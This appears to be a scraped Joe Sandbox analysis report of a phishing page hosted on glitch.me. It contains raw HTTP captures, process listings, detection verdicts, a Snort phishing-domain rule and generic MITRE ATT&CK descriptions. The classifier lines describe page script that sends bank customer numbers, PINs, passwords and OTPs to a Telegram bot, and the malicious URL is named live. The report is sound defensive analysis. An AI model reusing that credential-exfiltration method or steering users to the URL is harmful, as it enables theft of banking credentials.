2024-05-27 22:44:28 UTC	225	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e 43 6f 64 65 3a 20 4e 6f 53 75 63 68 4b 65 79 3c 2f 6c 69 3e 0a 3c 6c 69 3e 4d 65 73 73 61 67 65 3a 20 54 68 65 20 73 70 65 63 69 66 69 65 64 20 6b 65 79 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 2e 3c 2f 6c 69 3e 0a 3c 6c 69 3e 52 65 71 75 65 73 74 49 44 3a 20 36 38 31 66 34 61 35 31 32 39 31 65 31 62 34 38 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 68 72 2f 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1><ul><li>Code: NoSuchKey</li><li>Message: The specified key does not exist.</li><li>RequestID: 681f4a51291e1b48</li></ul><hr/></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49752	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:28 UTC	625	OUT	GET /RNHouseSansW05-Bold.ttf HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://plastic-fringe-pentagon.glitch.me sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://eclipse.website.yandexcloud.net/master.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:29 UTC	194	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 27 May 2024 22:44:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 225 Connection: close X-Amz-Request-Id: ca79f098a887bab2
2024-05-27 22:44:29 UTC	225	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e 43 6f 64 65 3a 20 4e 6f 53 75 63 68 4b 65 79 3c 2f 6c 69 3e 0a 3c 6c 69 3e 4d 65 73 73 61 67 65 3a 20 54 68 65 20 73 70 65 63 69 66 69 65 64 20 6b 65 79 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 2e 3c 2f 6c 69 3e 0a 3c 6c 69 3e 52 65 71 75 65 73 74 49 44 3a 20 63 61 37 39 66 30 39 38 61 38 38 37 62 61 62 32 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 68 72 2f 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1><ul><li>Code: NoSuchKey</li><li>Message: The specified key does not exist.</li><li>RequestID: ca79f098a887bab2</li></ul><hr/></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49756	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:30 UTC	619	OUT	GET /favicon.ico HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://plastic-fringe-pentagon.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:31 UTC	286	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:30 GMT Content-Type: image/x-icon Content-Length: 2238 Connection: close Accept-Ranges: bytes Etag: "d0ab1861f850d4514edaa1696b3b5ce2" Last-Modified: Mon, 04 Sep 2023 09:44:18 GMT X-Amz-Request-Id: 1daac2ab1b48d54d
2024-05-27 22:44:31 UTC	2238	IN	Data Raw: 00 00 01 00 01 00 20 20 00 00 01 00 08 00 a8 08 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 08 00 00 00 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 01 00 00 00 00 00 00 01 00 fe 00 01 00 fd 00 02 00 f8 00 01 00 f7 00 04 00 eb 00 03 01 f4 00 03 01 f0 00 06 01 e2 00 0b 0a ff 00 0e 0d f5 00 12 11 ff 00 1c 1b f9 00 32 31 ff 00 34 33 ff 00 35 33 ff 00 35 34 ff 00 33 31 ed 00 33 2f e6 00 33 2f e4 00 34 31 ec 00 34 32 ed 00 06 00 dc 00 09 00 cf 00 09 01 cf 00 11 09 d7 00 34 2e e8 00 33 2e e7 00 34 2e e7 00 32 2c e0 00 33 2c d9 00 33 2d dc 00 33 2e dc 00 0a 00 cd 00 0d 00 bf 00 0d 00 bd 00 0d 00 bc 00 0e 01 bb 00 2c 23 cc 00 34 2a d1 00 0e 00 ba 00 0e 00 b9 00 0f 00 b4 00 0f 00 b0 00 0f 01 b8 00 34 27 bd 00 32 26 b9 00 11 01 aa 00 11 01 a7 00 13 Data Ascii: ( @21435354313/3/41424.3.4.2,3,3-3.,#4*4'2&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49757	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:31 UTC	366	OUT	GET /favicon.ico HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:32 UTC	286	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:32 GMT Content-Type: image/x-icon Content-Length: 2238 Connection: close Accept-Ranges: bytes Etag: "d0ab1861f850d4514edaa1696b3b5ce2" Last-Modified: Mon, 04 Sep 2023 09:44:18 GMT X-Amz-Request-Id: b37d43bb3390b430
2024-05-27 22:44:32 UTC	2238	IN	Data Raw: 00 00 01 00 01 00 20 20 00 00 01 00 08 00 a8 08 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 08 00 00 00 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 01 00 00 00 00 00 00 01 00 fe 00 01 00 fd 00 02 00 f8 00 01 00 f7 00 04 00 eb 00 03 01 f4 00 03 01 f0 00 06 01 e2 00 0b 0a ff 00 0e 0d f5 00 12 11 ff 00 1c 1b f9 00 32 31 ff 00 34 33 ff 00 35 33 ff 00 35 34 ff 00 33 31 ed 00 33 2f e6 00 33 2f e4 00 34 31 ec 00 34 32 ed 00 06 00 dc 00 09 00 cf 00 09 01 cf 00 11 09 d7 00 34 2e e8 00 33 2e e7 00 34 2e e7 00 32 2c e0 00 33 2c d9 00 33 2d dc 00 33 2e dc 00 0a 00 cd 00 0d 00 bf 00 0d 00 bd 00 0d 00 bc 00 0e 01 bb 00 2c 23 cc 00 34 2a d1 00 0e 00 ba 00 0e 00 b9 00 0f 00 b4 00 0f 00 b0 00 0f 01 b8 00 34 27 bd 00 32 26 b9 00 11 01 aa 00 11 01 a7 00 13 Data Ascii: ( @21435354313/3/41424.3.4.2,3,3-3.,#4*4'2&

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49764	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:36 UTC	2148	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2484 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1716849843050&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF
2024-05-27 22:44:36 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-05-27 22:44:36 UTC	2483	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-05-27 22:44:36 UTC	480	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3D833327B6CA45008AB5CB4E1FE4D3C4 Ref B: LAX311000112021 Ref C: 2024-05-27T22:44:36Z Date: Mon, 27 May 2024 22:44:36 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.57ed0117.1716849876.167b1534

Target ID:	0
Start time:	18:44:13
Start date:	27/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	18:44:16
Start date:	27/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2012,i,3164281449563933196,14320066541158217082,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	18:44:18
Start date:	27/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	Avira URL Cloud: detection malicious, Label: phishing
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	LLM: Score: 10 Reasons: The code collects sensitive information such as customer number, PIN, passwords, and IP address, and sends it to a Telegram bot. This behavior is indicative of phishing or other malicious activity. DOM: 0.0.pages.csv
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	LLM: Score: 10 Reasons: The JavaScript code captures sensitive user information such as customer number, PIN, full password, OTP, and IP address, and sends it to a Telegram bot. This behavior is indicative of phishing or other malicious activity aimed at stealing user credentials. DOM: 0.0.pages.csv
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	LLM: Score: 10 Reasons: The JavaScript code captures sensitive user information such as customer number, PIN, passwords, and IP address, and sends it to an external server via a Telegram bot API. This behavior is indicative of phishing or other malicious activity. DOM: 0.0.pages.csv
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	LLM: Score: 10 Reasons: The JavaScript code captures sensitive user information such as customer number, PIN, full password, OTP, and IP address, and sends it to a Telegram bot. This behavior is indicative of phishing or other malicious activity aimed at stealing user credentials. DOM: 0.0.pages.csv
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	LLM: Score: 10 Reasons: The JavaScript code captures sensitive information such as customer number, PIN, full password, OTPs, and IP address, and sends it to an external server via a Telegram bot API. This behavior is indicative of phishing and data exfiltration, which are highly malicious activities. DOM: 0.0.pages.csv
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	LLM: Score: 10 Reasons: The code captures sensitive information such as customer number, PIN, full password, and IP address, and sends it to a Telegram chat using a bot token. This behavior is indicative of phishing or malicious activity as it exfiltrates sensitive data to an external server. DOM: 0.0.pages.csv
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	LLM: Score: 10 Reasons: The JavaScript code captures sensitive information such as customer number, PIN, full password, and IP address, and sends it to a remote server via a Telegram bot. This behavior is indicative of phishing or other malicious activity. DOM: 0.0.pages.csv
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	LLM: Score: 10 Reasons: The JavaScript code captures sensitive information such as customer number, PIN, full password, OTP, and IP address, and sends it to a Telegram bot. This behavior is indicative of phishing and data exfiltration, which is highly malicious. DOM: 0.0.pages.csv
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	LLM: Score: 10 Reasons: The JavaScript code captures sensitive information such as customer number, PIN, full password, OTPs, mobile number, and IP address, and sends it to a Telegram bot. This behavior is indicative of phishing or other malicious activity aimed at stealing personal and financial information. DOM: 0.0.pages.csv
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	LLM: Score: 9 Reasons: The JavaScript code captures user input, including a customer number and IP address, and sends it to a Telegram bot. This behavior is indicative of phishing or data exfiltration, as it sends sensitive information to an external service without user consent. The use of a Telegram bot for data collection is a common tactic in malicious activities. DOM: 0.0.pages.csv
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	LLM: Score: 8 Reasons: The JavaScript code decodes and writes HTML content dynamically using document.write and unescape, which can be used to inject malicious content. It collects sensitive information such as customer number and IP address, and sends it to an external URL (https://api.telegram.org) using an XMLHttpRequest. This behavior is indicative of phishing or data exfiltration. DOM: 0.0.pages.csv
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	LLM: Score: 10 Reasons: The JavaScript code captures user input (customer number and IP address) and sends it to a Telegram bot. This behavior is indicative of phishing or data exfiltration, as it sends sensitive information to an external service without user consent. DOM: 0.0.pages.csv
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	LLM: Score: 10 Reasons: The JavaScript code captures sensitive information such as customer number, PIN, full password, OTPs, mobile number, and IP address, and sends it to a Telegram bot. This behavior is indicative of phishing or malicious activity aimed at stealing user credentials. DOM: 0.0.pages.csv

Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	HTTP Parser: Invalid link: Legal Info
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	HTTP Parser: Invalid link: Privacy & Cookies
Source: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	HTTP Parser: Invalid link: Accessibility

Source: Traffic	Snort IDS: 2029493 ET CURRENT_EVENTS Possible Glitch.me Phishing Domain 192.168.2.5:53333 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2029493 ET CURRENT_EVENTS Possible Glitch.me Phishing Domain 192.168.2.5:65435 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: plastic-fringe-pentagon.glitch.me
Source: global traffic	DNS traffic detected: DNS query: eclipse.website.yandexcloud.net
Source: global traffic	DNS traffic detected: DNS query: l2.io
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Windows Analysis Report
https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm